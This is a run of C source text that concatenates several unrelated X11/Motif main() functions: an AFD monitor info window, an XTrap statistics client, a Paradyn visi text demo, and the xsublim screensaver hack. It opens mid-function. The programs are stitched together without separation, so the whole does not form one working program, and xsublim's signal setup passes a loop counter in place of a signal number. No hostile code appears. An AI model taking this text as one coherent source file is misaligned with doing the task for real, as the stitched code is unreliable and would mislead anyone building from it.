USE_TRANSPARENCY */ /* Free tiles_raw? XXX XXX */ } #endif /* USE_GRAPHICS */ /* Success */ return (0); }
/*$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ main() $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$*/ int main(int argc, char *argv[]) { int i; char window_title[100], work_dir[MAX_PATH_LENGTH], str_line[MAX_INFO_STRING_LENGTH], tmp_str_line[MAX_INFO_STRING_LENGTH]; static String fallback_res[] = { "*mwmDecorations : 42", "*mwmFunctions : 12", ".mon_info.form*background : NavajoWhite2", ".mon_info.form.msa_box.?.?.?.text_wl.background : NavajoWhite1", ".mon_info.form.msa_box.?.?.?.text_wr.background : NavajoWhite1", ".mon_info.form.host_infoSW.host_info.background : NavajoWhite1", ".mon_info.form.buttonbox*background : PaleVioletRed2", ".mon_info.form.buttonbox*foreground : Black", ".mon_info.form.buttonbox*highlightColor : Black", NULL }; Widget form_w, msa_box_w, msa_box1_w, msa_box2_w, msa_text_w, button_w, buttonbox_w, rowcol1_w, rowcol2_w, h_separator1_w, h_separator2_w, v_separator_w; XmFontListEntry entry; XmFontList fontlist; Arg args[MAXARGS]; Cardinal argcount; uid_t euid, /* Effective user ID. */ ruid; /* Real user ID. */ CHECK_FOR_VERSION(argc, argv); /* Initialise global values. */ p_work_dir = work_dir; init_mon_info(&argc, argv); /* * SSH uses wants to look at .Xauthority and with setuid flag * set we cannot do that. So when we initialize X lets temporaly * disable it. After XtAppInitialize() we set it back. */ euid = geteuid(); ruid = getuid(); if (euid != ruid) { if (seteuid(ruid) == -1) { (void)fprintf(stderr, "Failed to seteuid() to %d : %s\n", ruid, strerror(errno)); } } (void)strcpy(window_title, afd_name); (void)strcat(window_title, " Info"); argcount = 0; XtSetArg(args[argcount], XmNtitle, window_title); argcount++; appshell = XtAppInitialize(&app, "AFD", NULL, 0, &argc, argv, fallback_res, args, argcount); disable_drag_drop(appshell); if (euid != ruid) { if (seteuid(euid) == -1) { (void)fprintf(stderr, "Failed to seteuid() to %d : %s\n", euid, strerror(errno)); } } display = XtDisplay(appshell); #ifdef HAVE_XPM /* Setup AFD logo as icon. */ setup_icon(display, appshell); #endif /* Create managing widget. */ form_w = XmCreateForm(appshell, "form", NULL, 0); entry = XmFontListEntryLoad(XtDisplay(form_w), font_name, XmFONT_IS_FONT, "TAG1"); fontlist = XmFontListAppendEntry(NULL, entry); XmFontListEntryFree(&entry); argcount = 0; XtSetArg(args[argcount], XmNtopAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNleftAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNrightAttachment, XmATTACH_FORM); argcount++; msa_box_w = XmCreateForm(form_w, "msa_box", args, argcount); XtManageChild(msa_box_w); argcount = 0; XtSetArg(args[argcount], XmNtopAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNleftAttachment, XmATTACH_FORM); argcount++; msa_box1_w = XmCreateForm(msa_box_w, "msa_box1", args, argcount); XtManageChild(msa_box1_w); rowcol1_w = XtVaCreateWidget("rowcol1", xmRowColumnWidgetClass, msa_box1_w, NULL); for (i = 0; i < NO_OF_MSA_ROWS; i++) { msa_text_w = XtVaCreateWidget("msa_text", xmFormWidgetClass, rowcol1_w, XmNfractionBase, 41, NULL); label_l_widget[i] = XtVaCreateManagedWidget(label_l[i], xmLabelGadgetClass, msa_text_w, XmNfontList, fontlist, XmNtopAttachment, XmATTACH_POSITION, XmNtopPosition, 1, XmNbottomAttachment, XmATTACH_POSITION, XmNbottomPosition, 40, XmNleftAttachment, XmATTACH_POSITION, XmNleftPosition, 1, XmNalignment, XmALIGNMENT_END, NULL); text_wl[i] = XtVaCreateManagedWidget("text_wl", xmTextWidgetClass, msa_text_w, XmNfontList, fontlist, XmNcolumns, MON_INFO_LENGTH, XmNtraversalOn, False, XmNeditable, False, XmNcursorPositionVisible, False, XmNmarginHeight, 1, XmNmarginWidth, 1, XmNshadowThickness, 1, XmNhighlightThickness, 0, XmNrightAttachment, XmATTACH_FORM, XmNleftAttachment, XmATTACH_POSITION, XmNleftPosition, 22, NULL); XtManageChild(msa_text_w); } XtManageChild(rowcol1_w); /* Fill up the text widget with some values. */ (void)sprintf(str_line, "%*s", MON_INFO_LENGTH, prev.real_hostname[(int)prev.afd_toggle]); XmTextSetString(text_wl[0], str_line); (void)sprintf(str_line, "%*d", MON_INFO_LENGTH, prev.port[(int)prev.afd_toggle]); XmTextSetString(text_wl[1], str_line); (void)strftime(tmp_str_line, MAX_INFO_STRING_LENGTH, "%d.%m.%Y %H:%M:%S", localtime(&prev.last_data_time)); (void)sprintf(str_line, "%*s", MON_INFO_LENGTH, tmp_str_line); XmTextSetString(text_wl[2], str_line); (void)sprintf(str_line, "%*d", MON_INFO_LENGTH, prev.max_connections); XmTextSetString(text_wl[3], str_line); (void)sprintf(str_line, "%*s", MON_INFO_LENGTH, prev.afd_version); XmTextSetString(text_wl[4], str_line); if (prev.top_tr > 1048576) { (void)sprintf(str_line, "%*u MB/s", MON_INFO_LENGTH - 5, prev.top_tr / 1048576); } else if (prev.top_tr > 1024) { (void)sprintf(str_line, "%*u KB/s", MON_INFO_LENGTH - 5, prev.top_tr / 1024); } else { (void)sprintf(str_line, "%*u Bytes/s", MON_INFO_LENGTH - 8, prev.top_tr); } XmTextSetString(text_wl[5], str_line); /* Create the first horizontal separator. */ argcount = 0; XtSetArg(args[argcount], XmNorientation, XmHORIZONTAL); argcount++; XtSetArg(args[argcount], XmNtopAttachment, XmATTACH_WIDGET); argcount++; XtSetArg(args[argcount], XmNtopWidget, msa_box_w); argcount++; XtSetArg(args[argcount], XmNleftAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNrightAttachment, XmATTACH_FORM); argcount++; h_separator1_w = XmCreateSeparator(form_w, "h_separator1_w", args, argcount); XtManageChild(h_separator1_w); /* Create the vertical separator. */ argcount = 0; XtSetArg(args[argcount], XmNorientation, XmVERTICAL); argcount++; XtSetArg(args[argcount], XmNleftAttachment, XmATTACH_WIDGET); argcount++; XtSetArg(args[argcount], XmNleftWidget, msa_box1_w); argcount++; XtSetArg(args[argcount], XmNtopAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNbottomAttachment, XmATTACH_FORM); argcount++; v_separator_w = XmCreateSeparator(msa_box_w, "v_separator", args, argcount); XtManageChild(v_separator_w); argcount = 0; XtSetArg(args[argcount], XmNtopAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNleftAttachment, XmATTACH_WIDGET); argcount++; XtSetArg(args[argcount], XmNleftWidget, v_separator_w); argcount++; msa_box2_w = XmCreateForm(msa_box_w, "msa_box2", args, argcount); XtManageChild(msa_box2_w); rowcol2_w = XtVaCreateWidget("rowcol2", xmRowColumnWidgetClass, msa_box2_w, NULL); for (i = 0; i < NO_OF_MSA_ROWS; i++) { msa_text_w = XtVaCreateWidget("msa_text", xmFormWidgetClass, rowcol2_w, XmNfractionBase, 41, NULL); label_r_widget[i] = XtVaCreateManagedWidget(label_r[i], xmLabelGadgetClass, msa_text_w, XmNfontList, fontlist, XmNtopAttachment, XmATTACH_POSITION, XmNtopPosition, 1, XmNbottomAttachment, XmATTACH_POSITION, XmNbottomPosition, 40, XmNleftAttachment, XmATTACH_POSITION, XmNleftPosition, 1, XmNalignment, XmALIGNMENT_END, NULL); text_wr[i] = XtVaCreateManagedWidget("text_wr", xmTextWidgetClass, msa_text_w, XmNfontList, fontlist, XmNcolumns, MON_INFO_LENGTH, XmNtraversalOn, False, XmNeditable, False, XmNcursorPositionVisible, False, XmNmarginHeight, 1, XmNmarginWidth, 1, XmNshadowThickness, 1, XmNhighlightThickness, 0, XmNrightAttachment, XmATTACH_FORM, XmNleftAttachment, XmATTACH_POSITION, XmNleftPosition, 20, NULL); XtManageChild(msa_text_w); } XtManageChild(rowcol2_w); /* Fill up the text widget with some values. */ get_ip_no(msa[afd_position].hostname[(int)prev.afd_toggle], tmp_str_line); (void)sprintf(str_line, "%*s", MON_INFO_LENGTH, tmp_str_line); XmTextSetString(text_wr[0], str_line); (void)sprintf(str_line, "%*s", MON_INFO_LENGTH, prev.r_work_dir); XmTextSetString(text_wr[1], str_line); (void)sprintf(str_line, "%*d", MON_INFO_LENGTH, prev.poll_interval); XmTextSetString(text_wr[2], str_line); (void)sprintf(str_line, "%*d", MON_INFO_LENGTH, prev.top_not); XmTextSetString(text_wr[3], str_line); (void)sprintf(str_line, "%*d", MON_INFO_LENGTH, prev.no_of_hosts); XmTextSetString(text_wr[4], str_line); (void)sprintf(str_line, "%*u files/s", MON_INFO_LENGTH - 8, prev.top_fr); XmTextSetString(text_wr[5], str_line); argcount = 0; XtSetArg(args[argcount], XmNleftAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNrightAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNbottomAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNfractionBase, 21); argcount++; buttonbox_w = XmCreateForm(form_w, "buttonbox", args, argcount); /* Create the second horizontal separator. */ argcount = 0; XtSetArg(args[argcount], XmNorientation, XmHORIZONTAL); argcount++; XtSetArg(args[argcount], XmNbottomAttachment, XmATTACH_WIDGET); argcount++; XtSetArg(args[argcount], XmNbottomWidget, buttonbox_w); argcount++; XtSetArg(args[argcount], XmNleftAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNrightAttachment, XmATTACH_FORM); argcount++; h_separator2_w = XmCreateSeparator(form_w, "h_separator2", args, argcount); XtManageChild(h_separator2_w); if (editable == YES) { button_w = XtVaCreateManagedWidget("Save", xmPushButtonWidgetClass, buttonbox_w, XmNfontList, fontlist, XmNtopAttachment, XmATTACH_POSITION, XmNtopPosition, 2, XmNbottomAttachment, XmATTACH_POSITION, XmNbottomPosition, 19, XmNleftAttachment, XmATTACH_POSITION, XmNleftPosition, 1, XmNrightAttachment, XmATTACH_POSITION, XmNrightPosition, 9, NULL); XtAddCallback(button_w, XmNactivateCallback, (XtCallbackProc)save_button, (XtPointer)0); button_w = XtVaCreateManagedWidget("Close", xmPushButtonWidgetClass, buttonbox_w, XmNfontList, fontlist, XmNtopAttachment, XmATTACH_POSITION, XmNtopPosition, 2, XmNbottomAttachment, XmATTACH_POSITION, XmNbottomPosition, 19, XmNleftAttachment, XmATTACH_POSITION, XmNleftPosition, 10, XmNrightAttachment, XmATTACH_POSITION, XmNrightPosition, 20, NULL); XtAddCallback(button_w, XmNactivateCallback, (XtCallbackProc)close_button, (XtPointer)0); } else { button_w = XtVaCreateManagedWidget("Close", xmPushButtonWidgetClass, buttonbox_w, XmNfontList, fontlist, XmNtopAttachment, XmATTACH_POSITION, XmNtopPosition, 2, XmNbottomAttachment, XmATTACH_POSITION, XmNbottomPosition, 19, XmNleftAttachment, XmATTACH_POSITION, XmNleftPosition, 1, XmNrightAttachment, XmATTACH_POSITION, XmNrightPosition, 20, NULL); XtAddCallback(button_w, XmNactivateCallback, (XtCallbackProc)close_button, (XtPointer)0); } XtManageChild(buttonbox_w); /* Create log_text as a ScrolledText window. */ argcount = 0; XtSetArg(args[argcount], XmNfontList, fontlist); argcount++; XtSetArg(args[argcount], XmNrows, 10); argcount++; XtSetArg(args[argcount], XmNcolumns, 80); argcount++; if (editable == YES) { XtSetArg(args[argcount], XmNeditable, True); argcount++; XtSetArg(args[argcount], XmNcursorPositionVisible, True); argcount++; XtSetArg(args[argcount], XmNautoShowCursorPosition, True); } else { XtSetArg(args[argcount], XmNeditable, False); argcount++; XtSetArg(args[argcount], XmNcursorPositionVisible, False); argcount++; XtSetArg(args[argcount], XmNautoShowCursorPosition, False); } argcount++; XtSetArg(args[argcount], XmNeditMode, XmMULTI_LINE_EDIT); argcount++; XtSetArg(args[argcount], XmNwordWrap, False); argcount++; XtSetArg(args[argcount], XmNscrollHorizontal, False); argcount++; XtSetArg(args[argcount], XmNcursorPositionVisible, False); argcount++; XtSetArg(args[argcount], XmNautoShowCursorPosition, False); argcount++; XtSetArg(args[argcount], XmNtopAttachment, XmATTACH_WIDGET); argcount++; XtSetArg(args[argcount], XmNtopWidget, h_separator1_w); argcount++; XtSetArg(args[argcount], XmNtopOffset, 3); argcount++; XtSetArg(args[argcount], XmNleftAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNleftOffset, 3); argcount++; XtSetArg(args[argcount], XmNrightAttachment, XmATTACH_FORM); argcount++; XtSetArg(args[argcount], XmNrightOffset, 3); argcount++; XtSetArg(args[argcount], XmNbottomAttachment, XmATTACH_WIDGET); argcount++; XtSetArg(args[argcount], XmNbottomWidget, h_separator2_w); argcount++; XtSetArg(args[argcount], XmNbottomOffset, 3); argcount++; info_w = XmCreateScrolledText(form_w, "host_info", args, argcount); XtManageChild(info_w); XtManageChild(form_w); /* Free font list. */ XmFontListFree(fontlist); #ifdef WITH_EDITRES XtAddEventHandler(appshell, (EventMask)0, True, _XEditResCheckMessages, NULL); #endif /* Realize all widgets. */ XtRealizeWidget(appshell); wait_visible(appshell); /* Read and display the information file. */ (void)check_info_file(afd_name, AFD_INFO_FILE, YES); XmTextSetString(info_w, NULL); /* Clears old entry. */ XmTextSetString(info_w, info_data); /* Call update_info() after UPDATE_INTERVAL ms. */ interval_id_host = XtAppAddTimeOut(app, UPDATE_INTERVAL, (XtTimerCallbackProc)update_info, form_w); /* We want the keyboard focus on the Done button. */ XmProcessTraversal(button_w, XmTRAVERSE_CURRENT); /* Write window ID, so mon_ctrl can set focus if it is called again. */ write_window_id(XtWindow(appshell), getpid(), MON_INFO); /* Start the main event-handling loop. */ XtAppMainLoop(app); exit(SUCCESS); }
int main(int argc, char *argv[]) { XETrapGetAvailRep ret_avail; XETrapGetStatsRep ret_stats; Widget appW; XtAppContext app; char *tmp = NULL; XETC *tc; Display *dpy; Bool done; char buffer[10]; ReqFlags requests; EventFlags events; int i; /* Connect to Server */ appW = XtAppInitialize(&app,"XTrap",NULL,(Cardinal)0L, (int *)&argc, (String *)argv, (String *)NULL,(ArgList)&tmp, (Cardinal)NULL); dpy = XtDisplay(appW); #ifdef DEBUG XSynchronize(dpy, True); #endif printf("Display: %s \n", DisplayString(dpy)); if ((tc = XECreateTC(dpy,0L, NULL)) == False) { fprintf(stderr,"%s: could not initialize extension\n",argv[0]); exit(1L); } (void)XEGetAvailableRequest(tc,&ret_avail); if (BitIsFalse(ret_avail.valid, XETrapStatistics)) { printf("\nStatistics not available from '%s'.\n", DisplayString(dpy)); exit(1L); } XETrapSetStatistics(tc, True); for (i=0; i<256L; i++) { BitTrue(requests, i); } XETrapSetRequests(tc, True, requests); for (i=KeyPress; i<=MotionNotify; i++) { BitTrue(events, i); } XETrapSetEvents(tc, True, events); done = False; while(done == False) { fprintf(stderr,"Stats Command (Zero, Quit, [Show])? "); fgets(buffer, sizeof(buffer), stdin); switch(toupper(buffer[0])) { case '\n': /* Default command */ case 'S': /* Request fresh counters & display */ (void)XEGetStatisticsRequest(tc,&ret_stats); (void)XEPrintStatistics(stdout,&ret_stats,tc); break; case 'Z': /* Zero out counters */ XETrapSetStatistics(tc, False); break; case 'Q': done = True; break; default: printf("Invalid command, reenter!\n"); break; } } (void)XEFreeTC(tc); (void)XCloseDisplay(dpy); exit(0L); }
int main(int argc,char **argv) { // XtAppContext app_con; // Widget toplevel, paned, clear, print, quit, text; Arg args[1]; ///////////////////////////////////// // variables added for paradyn integration int ok, fd; ///////////////////////////////////// toplevel = XtAppInitialize(&app_con, "Xtext", NULL, ZERO, &argc, argv, fallback_resources, NULL, ZERO); /* * Check to see that all arguments were processed, and if not then * report an error and exit. */ if (argc != 1) Syntax(app_con, argv[0]); ////////////////////////////////////// // call visi_Init: step (1) from README file if((fd = visi_Init()) < 0){ exit(-1); } ////////////////////////////////////// ////////////////////////////////////// // register event callbacks: step (2) from README file ok = visi_RegistrationCallback(ADDMETRICSRESOURCES,fd_input2); ok = visi_RegistrationCallback(DATAVALUES,fd_input); ok = visi_RegistrationCallback(FOLD,fd_input); ok = visi_RegistrationCallback(INVALIDMETRICSRESOURCES,fd_input); ////////////////////////////////////// paned = XtCreateManagedWidget("paned", panedWidgetClass, toplevel, NULL, ZERO); clear = XtCreateManagedWidget("clear", commandWidgetClass, paned, NULL, ZERO); print = XtCreateManagedWidget("print", commandWidgetClass, paned, NULL, ZERO); quit = XtCreateManagedWidget("quit", commandWidgetClass, paned, NULL, ZERO); ////////////////////////////////////// // this is for an upcall to Paradyn: step (3a) from README getMR = XtCreateManagedWidget("Get Metric Resource",commandWidgetClass, paned,NULL,ZERO); stopMR = XtCreateManagedWidget("Stop Metric Resource",commandWidgetClass, paned,NULL,ZERO); phaseN = XtCreateManagedWidget("Name a Phase",commandWidgetClass, paned,NULL,ZERO); ////////////////////////////////////// XtSetArg(args[0], XtNstring, "This is a test.\n"); text = XtCreateManagedWidget("text", asciiTextWidgetClass, paned, args, ONE); XtAddCallback(clear, XtNcallback, ClearText, (XtPointer) text); XtAddCallback(print, XtNcallback, PrintText, (XtPointer) text); XtAddCallback(quit, XtNcallback, QuitProgram, (XtPointer) app_con); /////////////////////////////////////// // Add callbacks for upcalls to Paradyn: step (3b) from README XtAddCallback(getMR, XtNcallback, GetMetsResCallback, (XtPointer) app_con); XtAddCallback(stopMR, XtNcallback, StopMetsResCallback, (XtPointer) app_con); XtAddCallback(phaseN, XtNcallback, PName, (XtPointer) app_con); ////////////////////////////////////// ////////////////////////////////////// // register visi_callback routine as callback on events assoc. w/ file desc // step (4) from README file XtAppAddInput(app_con,fd,(XtPointer) XtInputReadMask, (XtInputCallbackProc) visi_callback, text); ////////////////////////////////////// XtRealizeWidget(toplevel); XtAppMainLoop(app_con); }
int main(int argc,char* argv[]) { XtAppContext app; int sig_Number; int sig_Signal[] = { SIGHUP, SIGINT, SIGQUIT, SIGILL, SIGTRAP, #if defined(SIGIOT) SIGIOT, #endif SIGABRT, #if defined(SIGEMT) SIGEMT, #endif SIGFPE, SIGBUS, SIGSEGV, #if defined(SIGSYS) SIGSYS, #endif SIGTERM, #if defined(SIGXCPU) SIGXCPU, #endif #if defined(SIGXFSZ) SIGXFSZ, #endif #if defined(SIGDANGER) SIGDANGER, #endif -1 }; Widget app_App; Display* dpy; Window win_Root; XWindowAttributes attr_Win; XGCValues gc_ValFore; XGCValues gc_ValBack; GC gc_GcFore; GC gc_GcBack; XFontStruct* font_Font; char* font_List[] = { "-*-character-*-r-*-*-*-600-*-*-p-*-*-*", "-*-helvetica-*-r-*-*-*-600-*-*-p-*-*-*", "-*-lucida-*-r-*-*-*-600-*-*-p-*-*-*", "-*-*-*-r-*-sans-*-600-*-*-p-*-*-*", "-*-*-*-r-*-*-*-600-*-*-m-*-*-*", "-*-helvetica-*-r-*-*-*-240-*-*-p-*-*-*", "-*-lucida-*-r-*-*-*-240-*-*-p-*-*-*", "-*-*-*-r-*-sans-*-240-*-*-p-*-*-*", "-*-*-*-r-*-*-*-240-*-*-m-*-*-*", "fixed", NULL }; int font_Index; int text_Length; int text_X; int text_Y; int text_Width; int text_Height; char* text_List[XSUBLIM_TEXT_COUNT]; int text_Used[XSUBLIM_TEXT_COUNT]; char text_Text[XSUBLIM_TEXT_LENGTH+1]; char* text_Phrase; char* text_Word; int text_Index; int text_Item; int text_Count; struct { int outline_X; int outline_Y; } text_Outline[] = { { -1,-1 }, { 1,-1 }, { -1, 1 }, { 1, 1 }, { 0, 0 } }; int text_OutlineIndex; XImage* image_Image = NULL; int image_X = 0; int image_Y = 0; int image_Width = 0; int image_Height = 0; int arg_Count; int arg_FlagCenter; int arg_FlagOutline; int arg_FlagScreensaver; int arg_FlagRandom; int arg_DelayShow; int arg_DelayWord; int arg_DelayPhraseMin; int arg_DelayPhraseMax; char* arg_Text; char* arg_Source; /* Set-up ---------------------------------------------------------- */ /* Catch signals */ Xsublim_Sig_Last = -1; for (sig_Number = 0;sig_Signal[sig_Number] != -1;sig_Number++) { signal(sig_Number,xsublim_Sig_Catch); } /* Randomize -- only need to do this here because this program doesn't use the `screenhack.h' or `lockmore.h' APIs. */ # undef ya_rand_init ya_rand_init (0); /* Handle all the X nonsense */ #if defined(__sgi) SgiUseSchemes("none"); #endif for (arg_Count = 0;options[arg_Count].option != NULL;arg_Count++) { ; } app_App = XtAppInitialize(&app,progclass,options,arg_Count,&argc,argv, defaults,0,0); /* jwz */ if (argc > 1) { int x = 18; int end = 78; int i; int count = (sizeof(options)/sizeof(*options))-1; fprintf(stderr, "Unrecognised option: %s\n", argv[1]); fprintf (stderr, "Options include: "); for (i = 0; i < count; i++) { char *sw = options [i].option; Bool argp = (options [i].argKind == XrmoptionSepArg); int size = strlen (sw) + (argp ? 6 : 0) + 2; if (x + size >= end) { fprintf (stderr, "\n\t\t "); x = 18; } x += size; fprintf (stderr, "%s", sw); if (argp) fprintf (stderr, " <arg>"); if (i != count-1) fprintf (stderr, ", "); } fprintf (stderr, ".\n"); exit (-1); } dpy = XtDisplay(app_App); XtGetApplicationNameAndClass(dpy,&progname,&progclass); win_Root = RootWindowOfScreen(XtScreen(app_App)); XtDestroyWidget(app_App); /* Get the arguments */ arg_FlagCenter = get_boolean_resource(dpy, XSUBLIM_ARG_CENTER,"Boolean"); arg_FlagOutline = get_boolean_resource(dpy, XSUBLIM_ARG_OUTLINE,"Boolean"); arg_FlagScreensaver = get_boolean_resource(dpy, XSUBLIM_ARG_SCREENSAVER, "Boolean"); arg_FlagRandom = get_boolean_resource(dpy, XSUBLIM_ARG_RANDOM,"Boolean"); arg_DelayShow = get_integer_resource(dpy, XSUBLIM_ARG_DELAYSHOW,"Integer"); arg_DelayWord = get_integer_resource(dpy, XSUBLIM_ARG_DELAYWORD,"Integer"); arg_DelayPhraseMin = get_integer_resource(dpy, XSUBLIM_ARG_DELAYPHRASEMIN, "Integer"); arg_DelayPhraseMax = get_integer_resource(dpy, XSUBLIM_ARG_DELAYPHRASEMAX, "Integer"); if (arg_DelayPhraseMax < arg_DelayPhraseMin) { arg_DelayPhraseMax = arg_DelayPhraseMin; } /* Get the phrases */ text_Index = 0; text_Item = 0; text_Count = 0; memset(text_Used,0,sizeof(text_Used)); arg_Source = get_string_resource(dpy, XSUBLIM_ARG_FILE,"Filename"); if (arg_Source != NULL) { FILE* file_Fs; struct stat file_Stat; file_Fs = fopen(arg_Source,"rb"); if (file_Fs == NULL) { fprintf(stderr,"%s: Could not open '%s'\n",progname, arg_Source); exit(-1); } if (fstat(fileno(file_Fs),&file_Stat) != 0) { fprintf(stderr,"%s: Could not stat '%s'\n",progname, arg_Source); exit(-1); } arg_Text = calloc(1,file_Stat.st_size+1); if (arg_Text != NULL) { if (fread(arg_Text,file_Stat.st_size,1,file_Fs) != 1) { fprintf(stderr,"%s: Could not read '%s'\n", progname,arg_Source); exit(-1); } } fclose(file_Fs); } else { arg_Source = get_string_resource(dpy, XSUBLIM_ARG_PROGRAM, "Executable"); if (arg_Source != NULL) { char* exe_Command = calloc(1,strlen(arg_Source)+10); FILE* exe_Fs; if (exe_Command == NULL) { fprintf(stderr, "%s: Could not allocate space for '%s'\n", progname,arg_Source); exit(-1); } sprintf(exe_Command,"( %s ) 2>&1",arg_Source); exe_Fs = popen(exe_Command,"r"); if (exe_Fs == NULL) { fprintf(stderr,"%s: Could not run '%s'\n", progname,arg_Source); exit(-1); } arg_Text = calloc(1,XSUBLIM_PROGRAM_SIZE); if (arg_Text != NULL) { if (fread(arg_Text,1,XSUBLIM_PROGRAM_SIZE, exe_Fs) <= 0) { fprintf(stderr, "%s: Could not read output of '%s'\n", progname,arg_Source); exit(-1); } if ( strstr(arg_Text,": not found") || strstr(arg_Text,": Not found") || strstr(arg_Text,": command not found") || strstr(arg_Text,": Command not found")) { fprintf(stderr, "%s: Could not find '%s'\n", progname,arg_Source); exit(-1); } } fclose(exe_Fs); } else { arg_Text = get_string_resource(dpy, XSUBLIM_ARG_PHRASES,"Phrases"); if (arg_Text != NULL) { arg_Text = strdup(arg_Text); } } } if (arg_Text != NULL) { while (((text_Phrase = strtok(arg_Text,"\n")) != NULL) && (text_Count < XSUBLIM_TEXT_COUNT)) { arg_Text = NULL; text_List[text_Count] = text_Phrase; text_Count++; } text_List[text_Count] = NULL; } if (text_Count == 0) { fprintf(stderr,"%s: No text to display\n",progname); exit(-1); } /* Load the font */ font_Font = XLoadQueryFont(dpy, get_string_resource(dpy, XSUBLIM_ARG_FONT,"Font")); font_Index = 0; while ((font_Font == NULL) && (font_List[font_Index] != NULL)) { font_Font = XLoadQueryFont(dpy,font_List[font_Index]); font_Index++; } if (font_Font == NULL) { fprintf(stderr,"%s: Couldn't load a font\n",progname); exit(-1); } /* Create the GCs */ XGetWindowAttributes(dpy,win_Root,&attr_Win); gc_ValFore.font = font_Font->fid; gc_ValFore.foreground = get_pixel_resource(dpy, attr_Win.colormap, "foreground","Foreground"); gc_ValFore.background = get_pixel_resource(dpy, attr_Win.colormap, "background","Background"); gc_ValFore.subwindow_mode = IncludeInferiors; gc_GcFore = XCreateGC(dpy,win_Root, (GCFont|GCForeground|GCBackground|GCSubwindowMode),&gc_ValFore); gc_ValBack.font = font_Font->fid; gc_ValBack.foreground = get_pixel_resource(dpy, attr_Win.colormap, "background","Background"); gc_ValBack.background = get_pixel_resource(dpy, attr_Win.colormap, "foreground","Foreground"); gc_ValBack.subwindow_mode = IncludeInferiors; gc_GcBack = XCreateGC(dpy,win_Root, (GCFont|GCForeground|GCBackground|GCSubwindowMode),&gc_ValBack); /* Loop ------------------------------------------------------------ */ while (Xsublim_Sig_Last == -1) { /* Once-per-phrase stuff ----------------------------------- */ /* If we're waiting for a screensaver... */ if (arg_FlagScreensaver != FALSE) { /* Find the screensaver's window */ win_Root = xsublim_Ss_GetWindow(dpy); if (win_Root == 0) { usleep(30000000); continue; } } /* Pick the next phrase */ if (arg_FlagRandom != FALSE) { text_Item = random()%text_Count; text_Index = 0; } while (text_Used[text_Item] != FALSE) { text_Index++; text_Item++; if (text_Index == text_Count) { text_Index = 0; memset(text_Used,0,sizeof(text_Used)); } if (text_List[text_Item] == NULL) { text_Item = 0; } } text_Used[text_Item] = TRUE; strncpy(text_Text,text_List[text_Item], XSUBLIM_TEXT_LENGTH); text_Phrase = text_Text; /* Run through the phrase */ while (((text_Word = strtok(text_Phrase," \t")) != NULL) && (Xsublim_Sig_Last == -1)) { text_Phrase = NULL; /* Once-per-word stuff ----------------------------- */ /* Find the text's position */ XGetWindowAttributes(dpy,win_Root,&attr_Win); text_Length = strlen(text_Word); text_Width = XTextWidth(font_Font,text_Word, text_Length)+XSUBLIM_TEXT_OUTLINE*2; text_Height = font_Font->ascent+font_Font->descent+1+ XSUBLIM_TEXT_OUTLINE*2; if (arg_FlagCenter == FALSE) { text_X = random()%(attr_Win.width-text_Width); text_Y = random()%(attr_Win.height- text_Height); } else { text_X = (attr_Win.width/2)-(text_Width/2); text_Y = (attr_Win.height/2)-(text_Height/2); } /* Find the image's position (and pad it out slightly, otherwise bits of letter get left behind -- are there boundry issues I don't know about?) */ image_X = text_X-16; image_Y = text_Y; image_Width = text_Width+32; image_Height = text_Height; if (image_X < 0) { image_X = 0; } if (image_Y < 0) { image_Y = 0; } if (image_X+image_Width > attr_Win.width) { image_Width = attr_Win.width-image_X; } if (image_Y+image_Height > attr_Win.height) { image_Height = attr_Win.height-image_Y; } /* Influence people for our own ends --------------- */ /* Grab the server -- we can't let anybody draw over us */ XSync(dpy,FALSE); XGrabServer(dpy); XSync(dpy,FALSE); /* Set up an error handler that ignores BadMatches -- since the screensaver can take its window away at any time, any call that uses it might choke */ Xsublim_Sh_Status = 0; Xsublim_Sh_Handler = XSetErrorHandler(xsublim_Sh_Handler); /* Save the current background */ image_Image = XGetImage(dpy,win_Root,image_X, image_Y,image_Width,image_Height,~0L,ZPixmap); /* If we've successfully saved the background... */ if (image_Image != NULL) { if (Xsublim_Sh_Status == 0) { /* Draw the outline */ if (arg_FlagOutline != FALSE) { for (text_OutlineIndex = 0; text_Outline[ text_OutlineIndex].outline_X != 0;text_OutlineIndex++) { /* Y'know, eight character tabs and descriptive variable names become annoying at some point... */ XDrawString( dpy, win_Root,gc_GcBack, text_X+text_Outline[ text_OutlineIndex]. outline_X* XSUBLIM_TEXT_OUTLINE, text_Y+ (font_Font->ascent)+ text_Outline[ text_OutlineIndex]. outline_Y* XSUBLIM_TEXT_OUTLINE, text_Word, text_Length); } } /* Draw the word */ XDrawString(dpy,win_Root, gc_GcFore,text_X, text_Y+(font_Font->ascent),text_Word, text_Length); } if (Xsublim_Sh_Status == 0) { /* Wait a bit */ XSync(dpy,FALSE); if (Xsublim_Sig_Last == -1) { usleep(arg_DelayShow); } /* Restore the background */ XPutImage(dpy,win_Root, gc_GcFore,image_Image,0,0,image_X, image_Y,image_Width,image_Height); } /* Free the image */ XDestroyImage(image_Image); } /* Restore the error handler, ungrab the server */ XSync(dpy,FALSE); XSetErrorHandler(Xsublim_Sh_Handler); XUngrabServer(dpy); XSync(dpy,FALSE); /* Pause between words */ if (Xsublim_Sig_Last == -1) { usleep(arg_DelayWord); } } /* Pause between phrases */ if (Xsublim_Sig_Last == -1) { usleep(random()%(arg_DelayPhraseMax- arg_DelayPhraseMin+1)+arg_DelayPhraseMin); } } /* Exit ------------------------------------------------------------ */ for (sig_Number = 0;sig_Signal[sig_Number] != -1;sig_Number++) { signal(sig_Number,SIG_DFL); } kill(getpid(),Xsublim_Sig_Last); return 0; }
